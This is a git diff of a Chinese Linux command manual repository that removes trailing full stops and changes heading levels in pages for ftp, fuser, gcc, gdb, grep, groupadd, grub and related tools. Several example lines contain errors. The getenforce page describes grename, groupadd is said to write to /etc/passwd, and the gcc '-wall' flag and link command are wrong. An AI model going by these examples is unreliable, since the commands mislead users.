--d:详细显示指令执行过程,便于排错或分析程序执行的情况; --i:关闭互动模式,不询问任何问题; --g:关闭本地主机文件名称支持特殊字符的扩充特性; --n:不使用自动登录; --v:显示指令执行过程。 +-d:详细显示指令执行过程,便于排错或分析程序执行的情况 +-i:关闭互动模式,不询问任何问题 +-g:关闭本地主机文件名称支持特殊字符的扩充特性 +-n:不使用自动登录 +-v:显示指令执行过程 ``` ### 参数 -主机:指定要连接的FTP服务器的主机名或ip地址。 +主机:指定要连接的FTP服务器的主机名或ip地址 -### 实例 +## 实例 ```bash ftp> ascii # 设定以ASCII方式传送文件(缺省值) @@ -62,8 +62,8 @@ ftp> send local-file [remote-file] # 同PUT. ftp> status # 显示当前FTP的状态. ftp> system # 显示远端主机系统类型. ftp> user user-name [password] [account] # 重新以别的用户名登录远端主机. -ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。 -ftp> ! # 从 ftp 子系统退出到外壳。 +ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表 +ftp> ! # 从 ftp 子系统退出到外壳 ``` 关闭FTP连接 diff --git a/Linux_man_cn/ftpcount.md b/Linux_man_cn/ftpcount.md index 98caf0a..8e14d1a 100644 --- a/Linux_man_cn/ftpcount.md +++ b/Linux_man_cn/ftpcount.md @@ -5,7 +5,7 @@ ftpcount ## 说明 -显示目前已ftp登入的用户人数。执行这项指令可得知目前用FTP登入系统的人数以及FTP登入人数的上限。 +显示目前已ftp登入的用户人数。执行这项指令可得知目前用FTP登入系统的人数以及FTP登入人数的上限 语法: diff --git a/Linux_man_cn/ftpshut.md b/Linux_man_cn/ftpshut.md index cc4bca4..801e408 100644 --- a/Linux_man_cn/ftpshut.md +++ b/Linux_man_cn/ftpshut.md @@ -5,7 +5,7 @@ ftpshut ## 说明 -功能说明:在指定的时间关闭ftp服务器。本指令提供系统管理者在设置的时间关闭FTP服务器,且能在关闭之前发出警告信息通知用户。关闭时间若设置后为"none",则会马上关闭服务器。如果采 用"+30"的方式来设置表示服务器在30分钟之后关闭。依次类推,假设使用"1130"的格式则代表服务器会在每日的11时30分关闭,时间格式为24 小时制。FTP服务器关闭后,在/etc目录下会产生一个名称为shutmsg的文件,把它删除后即可再度启动FTP服务器的功能。 +功能说明:在指定的时间关闭ftp服务器。本指令提供系统管理者在设置的时间关闭FTP服务器,且能在关闭之前发出警告信息通知用户。关闭时间若设置后为"none",则会马上关闭服务器。如果采 用"+30"的方式来设置表示服务器在30分钟之后关闭。依次类推,假设使用"1130"的格式则代表服务器会在每日的11时30分关闭,时间格式为24 小时制。FTP服务器关闭后,在/etc目录下会产生一个名称为shutmsg的文件,把它删除后即可再度启动FTP服务器的功能 语法: @@ -16,8 +16,8 @@ ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"] 参数: ``` --d<分钟> 切断所有FTP连线时间。 --l<分钟> 停止接受FTP登入的时间。 +-d<分钟> 切断所有FTP连线时间 +-l<分钟> 停止接受FTP登入的时间 ``` diff --git a/Linux_man_cn/ftptop.md b/Linux_man_cn/ftptop.md index 7092bdf..e2a700f 100644 --- a/Linux_man_cn/ftptop.md +++ b/Linux_man_cn/ftptop.md @@ -5,9 +5,9 @@ proftpd服务器的连接状态 ## 说明 -**ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。 +**ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态 -### 语法 +## 选项 ``` ftptop(选项) @@ -16,8 +16,8 @@ ftptop(选项) ``` --D:过滤正在下载的会话; --S:仅显示指定虚拟主机的连接状态; +-D:过滤正在下载的会话 +-S:仅显示指定虚拟主机的连接状态 -d:指定屏幕刷新时间,默认 ``` diff --git a/Linux_man_cn/ftpwho.md b/Linux_man_cn/ftpwho.md index e3495de..10a3c63 100644 --- a/Linux_man_cn/ftpwho.md +++ b/Linux_man_cn/ftpwho.md @@ -5,9 +5,9 @@ ftpwho ## 说明 -**ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。 +**ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息 -### 语法 +## 选项 ``` ftpwho(选项) @@ -16,8 +16,8 @@ ftpwho(选项) ``` --h:显示帮助信息; --v:详细模式,输出更多信息。 +-h:显示帮助信息 +-v:详细模式,输出更多信息 ``` diff --git a/Linux_man_cn/fuser.md b/Linux_man_cn/fuser.md index 326a99d..6b72e47 100644 --- a/Linux_man_cn/fuser.md +++ b/Linux_man_cn/fuser.md @@ -5,25 +5,25 @@ **fuser命令** 用于报告进程使用的文件和网络套接字。fuser命令列出了本地进程的进程号,那些本地进程使用file,参数指定的本地 或远程文件。对于阻塞特别设备,此命令列出了使用该设备上任何文件的进程 -每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。 +每个进程号后面都跟随一个字母,该字母指示进程如何使用文件 -* c:指示进程的工作目录。 -* e:指示该文件为进程的可执行文件(即进程由该文件拉起)。 -* f:指示该文件被进程打开,默认情况下f字符不显示。 -* F:指示该文件被进程打开进行写入,默认情况下F字符不显示。 -* r:指示该目录为进程的根目录。 -* m:指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。 +* c:指示进程的工作目录 +* e:指示该文件为进程的可执行文件(即进程由该文件拉起) +* f:指示该文件被进程打开,默认情况下f字符不显示 +* F:指示该文件被进程打开进行写入,默认情况下F字符不显示 +* r:指示该目录为进程的根目录 +* m:指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存 ## 选项 ```markdown --a:显示命令行中指定的所有文件; --k:杀死访问指定文件的所有进程; --i:杀死进程前需要用户进行确认; --l:列出所有已知信号名; --m:指定一个被加载的文件系统或一个被加载的块设备; --n:选择不同的名称空间; --u:在每个进程后显示所属的用户名。 +-a:显示命令行中指定的所有文件 +-k:杀死访问指定文件的所有进程 +-i:杀死进程前需要用户进行确认 +-l:列出所有已知信号名 +-m:指定一个被加载的文件系统或一个被加载的块设备 +-n:选择不同的名称空间 +-u:在每个进程后显示所属的用户名 ``` ## 实例 diff --git a/Linux_man_cn/gcc.md b/Linux_man_cn/gcc.md index 5cf64c9..7df4f9a 100644 --- a/Linux_man_cn/gcc.md +++ b/Linux_man_cn/gcc.md @@ -5,9 +5,9 @@ gcc ## 说明 -**gcc命令** 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。 +**gcc命令** 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言 -### 语法 +## 选项 ``` gcc(选项)(参数) @@ -16,18 +16,18 @@ gcc(选项)(参数) ``` --o:指定生成的输出文件; --E:仅执行编译预处理; --S:将C代码转换为汇编代码; --wall:显示警告信息; --c:仅执行编译操作,不进行连接操作。 +-o:指定生成的输出文件 +-E:仅执行编译预处理 +-S:将C代码转换为汇编代码 +-wall:显示警告信息 +-c:仅执行编译操作,不进行连接操作 ``` ### 参数 -C源文件:指定C语言源代码文件。 +C源文件:指定C语言源代码文件 -### 实例 +## 实例 **常用编译命令选项** @@ -39,7 +39,7 @@ C源文件:指定C语言源代码文件。 gcc test.c ``` -将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。 +将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out **选项 -o** @@ -47,7 +47,7 @@ gcc test.c gcc test.c -o test ``` -将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。 +将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名 **选项 -E** @@ -55,7 +55,7 @@ gcc test.c -o test gcc -E test.c -o test.i ``` -将test.c预处理输出test.i文件。 +将test.c预处理输出test.i文件 **选项 -S** @@ -63,7 +63,7 @@ gcc -E test.c -o test.i gcc -S test.i ``` -将预处理输出文件test.i汇编成test.s文件。 +将预处理输出文件test.i汇编成test.s文件 **选项 -c** @@ -71,7 +71,7 @@ gcc -S test.i gcc -c test.s ``` -将汇编输出文件test.s编译输出test.o文件。 +将汇编输出文件test.s编译输出test.o文件 **无选项链接** @@ -79,7 +79,7 @@ gcc -c test.s gcc test.o -o test ``` -将编译输出文件test.o链接成最终可执行文件test。 +将编译输出文件test.o链接成最终可执行文件test **选项 -O** @@ -87,7 +87,7 @@ gcc test.o -o test gcc -O1 test.c -o test ``` -使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。 +使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长 **多源文件的编译方法** @@ -101,7 +101,7 @@ gcc -O1 test.c -o test gcc testfun.c test.c -o test ``` -将testfun.c和test.c分别编译后链接成test可执行文件。 +将testfun.c和test.c分别编译后链接成test可执行文件 **分别编译各个源文件,之后对编译后输出的目标文件链接。** @@ -111,6 +111,6 @@ gcc -c test.c #将test.c编译成test.o gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test ``` -以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。 +以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译 diff --git a/Linux_man_cn/gcov.md b/Linux_man_cn/gcov.md index 9462e53..9b7d982 100644 --- a/Linux_man_cn/gcov.md +++ b/Linux_man_cn/gcov.md @@ -5,9 +5,9 @@ gcov ## 说明 -**gcov命令** 是一款测试程序的代码覆盖率的工具。 +**gcov命令** 是一款测试程序的代码覆盖率的工具 -### 语法 +## 选项 ``` gcov(选项)(参数) @@ -16,14 +16,14 @@ gcov(选项)(参数) ``` --h:显示帮助信息; --v:显示版本信息; --a:输出所有的基本块的执行计数; --n:并创建输出文件。 +-h:显示帮助信息 +-v:显示版本信息 +-a:输出所有的基本块的执行计数 +-n:并创建输出文件 ``` ### 参数 -V语言文件:C语言源代码文件。 +V语言文件:C语言源代码文件 diff --git a/Linux_man_cn/gdb.md b/Linux_man_cn/gdb.md index 5ad82f3..7ced79d 100644 --- a/Linux_man_cn/gdb.md +++ b/Linux_man_cn/gdb.md @@ -2,7 +2,7 @@ ## 说明 -**gdb命令** 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令, +**gdb命令** 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令 就大致可以完成日常的基本的程序调试工作 | 命令 | 解释 | @@ -22,11 +22,11 @@ ## 选项 ```markdown --cd:设置工作目录; --q:安静模式,不打印介绍信息和版本信息; --d:添加文件查找路径; --x:从指定文件中执行GDB指令; --s:设置读取的符号表文件。 +-cd:设置工作目录 +-q:安静模式,不打印介绍信息和版本信息 +-d:添加文件查找路径 +-x:从指定文件中执行GDB指令 +-s:设置读取的符号表文件 ``` ## 实例 diff --git a/Linux_man_cn/get_module.md b/Linux_man_cn/get_module.md index e79737a..580feed 100644 --- a/Linux_man_cn/get_module.md +++ b/Linux_man_cn/get_module.md @@ -5,15 +5,15 @@ get_module ## 说明 -**get_module命令** 用于获取Linux内核模块的详细信息。 +**get_module命令** 用于获取Linux内核模块的详细信息 -### 语法 +## 选项 ``` get_module 模块名 ``` -### 实例 +## 实例 使用lsmod命令查看内核模块: diff --git a/Linux_man_cn/getenforce.md b/Linux_man_cn/getenforce.md index 9db2dcf..31de6b6 100644 --- a/Linux_man_cn/getenforce.md +++ b/Linux_man_cn/getenforce.md @@ -1,13 +1,13 @@ getenforce === -显示当前SELinux的应用模式,是强制、执行还是停用。 +显示当前SELinux的应用模式,是强制、执行还是停用 ## 说明 -**grename命令** 可以重命名卷组的名称。 +**grename命令** 可以重命名卷组的名称 -### 语法 +## 选项 ``` getenforce @@ -15,7 +15,7 @@ getenforce ### 例子 -查看当前SELinux的应用模式。 +查看当前SELinux的应用模式 ```bash [root@localhost ~]# getenforce diff --git a/Linux_man_cn/getsebool.md b/Linux_man_cn/getsebool.md index 07684b3..a13b7b7 100644 --- a/Linux_man_cn/getsebool.md +++ b/Linux_man_cn/getsebool.md @@ -2,12 +2,12 @@ ## 说明 -**getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 +**getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令 ## 选项 ```markdown -getsebool [-a] [布尔值条款] -a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。 +getsebool [-a] [布尔值条款] -a:列出目前系统上面的所有布尔值条款设置为开启或关闭值 ``` ## 实例 diff --git a/Linux_man_cn/gpasswd.md b/Linux_man_cn/gpasswd.md index c940f76..d7e3232 100644 --- a/Linux_man_cn/gpasswd.md +++ b/Linux_man_cn/gpasswd.md @@ -24,16 +24,16 @@ ```bash -gpasswd groupname # 如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。 +gpasswd groupname # 如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可 : << comment -让使用者暂时成为该组成员,之后peter用户创建的文件组名也会是groupname。所以该方式可暂时让peter建立文件时使用其他的组, -而不是peter本身所在的组。所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。 +让使用者暂时成为该组成员,之后peter用户创建的文件组名也会是groupname。所以该方式可暂时让peter建立文件时使用其他的组 +而不是peter本身所在的组。所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的 comment gpasswd -A peter users # 此处peter就是users群组的管理员 : << comment -注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。 +注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉 所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户 comment gpasswd -a user_name group_name diff --git a/Linux_man_cn/gpm.md b/Linux_man_cn/gpm.md index 8054006..10c12e5 100644 --- a/Linux_man_cn/gpm.md +++ b/Linux_man_cn/gpm.md @@ -5,9 +5,9 @@ gpm ## 说明 -**gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。 +**gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能 -### 语法 +## 选项 ``` gpm(选项) @@ -16,11 +16,11 @@ gpm(选项) ``` --a:设置加速值; --b:设置波特率; --B:设置鼠标按键次序; --m:指定鼠标设备文件; --t:设置鼠标类型。 +-a:设置加速值 +-b:设置波特率 +-B:设置鼠标按键次序 +-m:指定鼠标设备文件 +-t:设置鼠标类型 ``` diff --git a/Linux_man_cn/grep.md b/Linux_man_cn/grep.md index 2b17189..569680b 100644 --- a/Linux_man_cn/grep.md +++ b/Linux_man_cn/grep.md @@ -13,13 +13,13 @@ grep可用于shell脚本,因为grep通过返回一个状态值来说明搜索 ```markdown 用法: grep [选项]... PATTERN [FILE]... -在每个 FILE 或是标准输入中查找 PATTERN。 -默认的 PATTERN 是一个基本正则表达式(缩写为 BRE)。 +在每个 FILE 或是标准输入中查找 PATTERN +默认的 PATTERN 是一个基本正则表达式(缩写为 BRE) 例如: grep -i 'hello world' menu.h main.c 正则表达式选择与解释: -E, --extended-regexp PATTERN 是一个可扩展的正则表达式(缩写为 ERE) - -F, --fixed-strings PATTERN 是一组由断行符分隔的定长字符串。 + -F, --fixed-strings PATTERN 是一组由断行符分隔的定长字符串 -G, --basic-regexp PATTERN 是一个基本正则表达式(缩写为 BRE) -P, --perl-regexp PATTERN 是一个 Perl 正则表达式 -e, --regexp=PATTERN 用 PATTERN 来进行匹配操作 @@ -43,7 +43,7 @@ grep可用于shell脚本,因为grep通过返回一个状态值来说明搜索 -H, --with-filename 为每一匹配项打印文件名 -h, --no-filename 输出时不显示文件名前缀 --label=LABEL 将LABEL 作为标准输入文件名前缀 - -o, --only-matching 仅打印匹配行的匹配(非空白)部分,每个这样的部分位于单独的输出行中。 + -o, --only-matching 仅打印匹配行的匹配(非空白)部分,每个这样的部分位于单独的输出行中 -q, --quiet, --silent suppress all normal output,不要向标准输出写任何东西 --binary-files=TYPE assume that binary files are TYPE; TYPE is 'binary', 'text', or 'without-match' @@ -53,7 +53,7 @@ grep可用于shell脚本,因为grep通过返回一个状态值来说明搜索 ACTION is 'read', 'recurse', or 'skip' -D, --devices=ACTION how to handle devices, FIFOs and sockets; ACTION is 'read' or 'skip' - 如果输入文件是设备,FIFO或套接字,则使用操作来处理它。默认情况下,操作是'读',这意味着设备的读取就像是普通文件一样。如果行动是'跳跃',设备,FIFO和套接字默默跳过。 + 如果输入文件是设备,FIFO或套接字,则使用操作来处理它。默认情况下,操作是'读',这意味着设备的读取就像是普通文件一样。如果行动是'跳跃',设备,FIFO和套接字默默跳过 -r, --recursive like --directories=recurse 递归搜索,包括子目录下的文件 -R, --dereference-recursive likewise, but follow all symlinks @@ -83,20 +83,20 @@ grep可用于shell脚本,因为grep通过返回一个状态值来说明搜索 -u, --unix-byte-offsets report offsets as if CRs were not there (MSDOS/Windows) -‘egrep’即‘grep -E’。‘fgrep’即‘grep -F’。 -直接使用‘egrep’或是‘fgrep’均已不可行了。 -egrep是grep的扩展,支持更多的re元字符, fgrep就是fixed grep或fast grep,它们把所有的字母都看作单词,也就是说,正则表达式中的元字符表示回其自身的字面意义,不再特殊。 -若FILE 为 -,将读取标准输入。不带FILE,读取当前目录,除非命令行中指定了-r选项。 -如果少于两个FILE 参数,就要默认使用-h 参数。 -如果有任意行被匹配,那退出状态为 0,否则为 1; -如果有错误产生,且未指定 -q 参数,那退出状态为 2。 +‘egrep’即‘grep -E’。‘fgrep’即‘grep -F’ +直接使用‘egrep’或是‘fgrep’均已不可行了 +egrep是grep的扩展,支持更多的re元字符, fgrep就是fixed grep或fast grep,它们把所有的字母都看作单词,也就是说,正则表达式中的元字符表示回其自身的字面意义,不再特殊 +若FILE 为 -,将读取标准输入。不带FILE,读取当前目录,除非命令行中指定了-r选项 +如果少于两个FILE 参数,就要默认使用-h 参数 +如果有任意行被匹配,那退出状态为 0,否则为 1 +如果有错误产生,且未指定 -q 参数,那退出状态为 2 ``` ## grep可用的规则表达式 ```markdown ^ # 锚定行的开始 如:'^grep'匹配所有以grep开头的行 -$ # 锚定行的结束 如:'grep$'匹配所有以grep结尾的行。 +$ # 锚定行的结束 如:'grep$'匹配所有以grep结尾的行 \ # 转义符 . # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p * # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行 @@ -179,7 +179,7 @@ grep "text" -n file_1 file_2 # 多个文件 echo gun is not unix | grep -b -o "not" # 打印样式匹配所位于的字符或字节偏移;一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项-b -o一般总是配合使用 grep -l "text" file1 file2 file3... # 搜索多个文件并查找匹配文本在哪些文件中 -grep "text" . -r -n # 在多级目录中对文本进行递归搜索 .表示当前目录。 +grep "text" . -r -n # 在多级目录中对文本进行递归搜索 .表示当前目录 # 在grep搜索结果中包括或者排除指定文件 grep "main()" . -r --include *.{php,html} # 只在目录中所有的.php和.html文件中递归搜索字符"main()" @@ -187,7 +187,7 @@ grep "main()" . -r --exclude "README" # 在搜索结果中排除所有README grep "main()" . -r --exclude-from filelist # 在搜索结果中排除filelist文件列表里的文件 grep "aaa" file* -lZ | xargs -0 rm # 使用0值字节后缀的grep与xargs,删除包含aaa字符文件名以file开头的文件,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用 -grep -q "test" filename # 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。 +grep -q "test" filename # 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试 # 打印出匹配文本之前或者之后的行 seq 10 | grep "example" -A 3 # 显示匹配某个结果之后的3行,使用 -A 选项 diff --git a/Linux_man_cn/groupadd.md b/Linux_man_cn/groupadd.md index e94b707..8927e7c 100644 --- a/Linux_man_cn/groupadd.md +++ b/Linux_man_cn/groupadd.md @@ -5,9 +5,9 @@ groupadd ## 说明 -**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。 +**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中 -### 语法 +## 选项 ``` groupadd(选项)(参数) @@ -29,9 +29,9 @@ groupadd(选项)(参数) ### 参数 -组名:指定新建工作组的组名。 +组名:指定新建工作组的组名 -### 实例 +## 实例 建立一个新组,并设置组ID加入系统: @@ -39,7 +39,7 @@ groupadd(选项)(参数) groupadd -g 344 jsdigname ``` -此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。 +此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目 diff --git a/Linux_man_cn/groupdel.md b/Linux_man_cn/groupdel.md index 5a89bf6..311d498 100644 --- a/Linux_man_cn/groupdel.md +++ b/Linux_man_cn/groupdel.md @@ -2,7 +2,7 @@ ## 说明 -**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。 +**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow 若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组 diff --git a/Linux_man_cn/groups.md b/Linux_man_cn/groups.md index 2e52028..9329a32 100644 --- a/Linux_man_cn/groups.md +++ b/Linux_man_cn/groups.md @@ -5,9 +5,9 @@ groups ## 说明 -**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 +**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组 -### 语法 +## 选项 ``` groups(选项)(参数) @@ -16,15 +16,15 @@ groups(选项)(参数) ``` --help:显示命令的帮助信息; ---version:显示命令的版本信息。 +-help:显示命令的帮助信息 +--version:显示命令的版本信息 ``` ### 参数 -用户名:指定要打印所属工作组的用户名。 +用户名:指定要打印所属工作组的用户名 -### 实例 +## 实例 显示linux用户所属的组 diff --git a/Linux_man_cn/grpck.md b/Linux_man_cn/grpck.md index 0cf7ec2..cadd63c 100644 --- a/Linux_man_cn/grpck.md +++ b/Linux_man_cn/grpck.md @@ -5,11 +5,11 @@ grpck ## 说明 -**grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。 +**grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow` -grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 +grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行 -### 语法 +## 选项 ``` grpck(选项) @@ -18,17 +18,17 @@ grpck(选项) ``` --r:只读模式; --s:排序组id。 +-r:只读模式 +-s:排序组id ``` -### 实例 +## 实例 对组账号和影子文件进行验证: ``` grpck //必须以管理员身份运行 -grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。 +grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误 ``` 测试错误的实例: @@ -36,12 +36,12 @@ grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息 ``` **echo check_user:x: >> /etc/group //添加一行错误的格式数据 cat /etc/group | grep check_user** -check_user:x: //这儿GID字段为空,是错误的。 +check_user:x: //这儿GID字段为空,是错误的 **grpck /etc/group** invalid group file entry delete line 'check_user:x:'? y //提示是否删除 -grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。 +grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新 **cat /etc/group | grep check_user //没有查到,已经删除了。** ``` diff --git a/Linux_man_cn/grpconv.md b/Linux_man_cn/grpconv.md index 4f6c2fd..d7b2198 100644 --- a/Linux_man_cn/grpconv.md +++ b/Linux_man_cn/grpconv.md @@ -5,15 +5,15 @@ grpconv ## 说明 -**grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。 +**grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码 -### 语法 +## 选项 ``` grpconv ``` -### 实例 +## 实例 设置cdy组密码 @@ -34,6 +34,6 @@ cat /etc/gshadow | grep cdy cdy:123456:: //已经移到影子文件了 ``` -注:gshadow, shadow只有root权限才可以查看。 +注:gshadow, shadow只有root权限才可以查看 diff --git a/Linux_man_cn/grpunconv.md b/Linux_man_cn/grpunconv.md index f8bee1f..bf06b80 100644 --- a/Linux_man_cn/grpunconv.md +++ b/Linux_man_cn/grpunconv.md @@ -5,15 +5,15 @@ grpunconv ## 说明 -**grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。 +**grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里 -### 语法 +## 选项 ``` grpunconv ``` -### 实例 +## 实例 未关闭的情况 @@ -29,7 +29,7 @@ cat /etc/gshadow cat: /etc/gshadow: 没有那个文件或目录 ``` -查看密码已经复制到`/etc/group`中了。 +查看密码已经复制到`/etc/group`中了 ``` cat /etc/group | grep cdy diff --git a/Linux_man_cn/grub.md b/Linux_man_cn/grub.md index 16c563b..d8049f2 100644 --- a/Linux_man_cn/grub.md +++ b/Linux_man_cn/grub.md @@ -5,9 +5,9 @@ grub ## 说明 -**grub命令** 是多重引导程序grub的命令行shell工具。 +**grub命令** 是多重引导程序grub的命令行shell工具 -### 语法 +## 选项 ``` grub(选项) @@ -16,44 +16,44 @@ grub(选项) ``` ---batch:打开批处理模式; ---boot-drive=<驱动器>:指定stage2的引导驱动器; ---config-file<配置文件>:指定stage2的配置文件; ---device-map=<文件>:指定设备的映射文件; ---help:显示帮助信息; ---install-partition=<分区>:指定stage2安装分区; ---no-config-file:不使用配置文件; ---no-pager:不使用内部分页器; ---preset-menu:使用预设菜单; ---probe-second-floppy:检测第二个软盘驱动器; ---read-only:只读模式。 +--batch:打开批处理模式 +--boot-drive=<驱动器>:指定stage2的引导驱动器 +--config-file<配置文件>:指定stage2的配置文件 +--device-map=<文件>:指定设备的映射文件 +--help:显示帮助信息 +--install-partition=<分区>:指定stage2安装分区 +--no-config-file:不使用配置文件 +--no-pager:不使用内部分页器 +--preset-menu:使用预设菜单 +--probe-second-floppy:检测第二个软盘驱动器 +--read-only:只读模式 ``` -### 实例 +## 实例 -利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。 +利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多 -这里说一下这种情况下的处理方法,即:屏幕上提示`grub>`,但你的硬盘上数据没有丢失,各分区都是好的。这种情况是你的grub信息损坏了,但比较严重的是系统启动不了。 +这里说一下这种情况下的处理方法,即:屏幕上提示`grub>`,但你的硬盘上数据没有丢失,各分区都是好的。这种情况是你的grub信息损坏了,但比较严重的是系统启动不了 -当然,在正常启动情况下,屏幕上出现grub的启动项选择菜单时按`c`键也是可以进入`grub>`状态的。这时候我们需要用grub的命令来手工启动系统。 +当然,在正常启动情况下,屏幕上出现grub的启动项选择菜单时按`c`键也是可以进入`grub>`状态的。这时候我们需要用grub的命令来手工启动系统 -只需要用到四个命令boot、kernel、initrd、boot。 +只需要用到四个命令boot、kernel、initrd、boot -但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到。 +但grub本身命令很多,比如查看文件内容的cat ,你输入help会得到 首先,输入“ root (hd ” ,然后按两次 TAB 键; /* 这会列出你电脑上可能的磁盘设备,硬盘为 hd0/hd1 或 sd0/sd1 等 */ 然后,选择你的安装 Linux 系统的硬盘,比如 hd0 ,输入 “ root (hd0, ” 再按两次 TAB 键; /* 这会列出你的第一块硬盘上的分区情况,你会知道哪个是 swap 交换分区, 0x82 ,哪个是 Linux 分区 0x83 */ -选择你认为可能的 /boot 目录所在的分区, 输入`root (hd0, 1)`回车; +选择你认为可能的 /boot 目录所在的分区, 输入`root (hd0, 1)`回车 